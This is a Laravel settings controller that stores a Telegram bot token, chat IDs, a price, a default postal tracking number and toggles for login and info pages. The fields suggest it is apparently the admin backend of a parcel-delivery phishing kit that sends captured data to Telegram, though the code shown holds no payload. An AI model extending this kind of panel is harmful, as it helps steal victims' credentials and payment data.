<?php

namespace App\Http\Controllers;

use Illuminate\Http\Request;
use App\Models\Settings;
use App\Services\TelegramService;
use Illuminate\Http\JsonResponse;

class SettingsController extends Controller
{
    public function index(): JsonResponse
    {
        $settings = Settings::first();

        if (!$settings) {
            $settings = Settings::create([
                'bot_token' => null,
                'chat_id' => null,
                'chat_id_info' => null,
                'price' => '0',
                'tracking' => 'PM478844410MA',
                'page_login' => true,
                'page_info' => true,
                'panel_telegram' => false,
            ]);
        }

        return response()->json([
            'success' => true,
            'data' => $settings,
        ]);
    }

    public function update(Request $request, TelegramService $telegramService): JsonResponse
    {
        $validated = $request->validate([
            'bot_token' => ['nullable', 'string', 'max:255'],
            'chat_id' => ['nullable', 'string', 'max:255'],
            'chat_id_info' => ['nullable', 'string', 'max:255'],
            'price' => ['nullable', 'string', 'max:255'],
            'tracking' => ['nullable', 'string', 'max:255'],
            'page_login' => ['nullable', 'boolean'],
            'page_info' => ['nullable', 'boolean'],
        ]);

        // Panel link mode only — inline Telegram keyboards / webhooks are not used.
        $validated['panel_telegram'] = false;

        $settings = Settings::updateOrCreate(['id' => 1], $validated);

        $message = 'Telegram settings saved successfully!';
        $botInfo = null;

        if (!empty($validated['bot_token'])) {
            try {
                $botInfo = $telegramService->getBotInfo($validated['bot_token']);
                if (!$botInfo) {
                    $message = 'Settings saved, but the bot token appears to be invalid.';
                }
            } catch (\Exception $e) {
                $message = 'Settings saved, but bot validation failed: ' . $e->getMessage();
            }
        }

        return response()->json([
            'success' => true,
            'message' => $message,
            'data' => $settings->fresh(),
            'bot_info' => $botInfo,
        ]);
    }

    public function show(string $key): JsonResponse
    {
        $settings = Settings::first();

        if (!$settings || !in_array($key, $settings->getFillable())) {
            return response()->json([
                'success' => false,
                'message' => 'Setting not found',
            ], 404);
        }

        return response()->json([
            'success' => true,
            'data' => [
                'key' => $key,
                'value' => $settings->{$key},
            ],
        ]);
    }
}
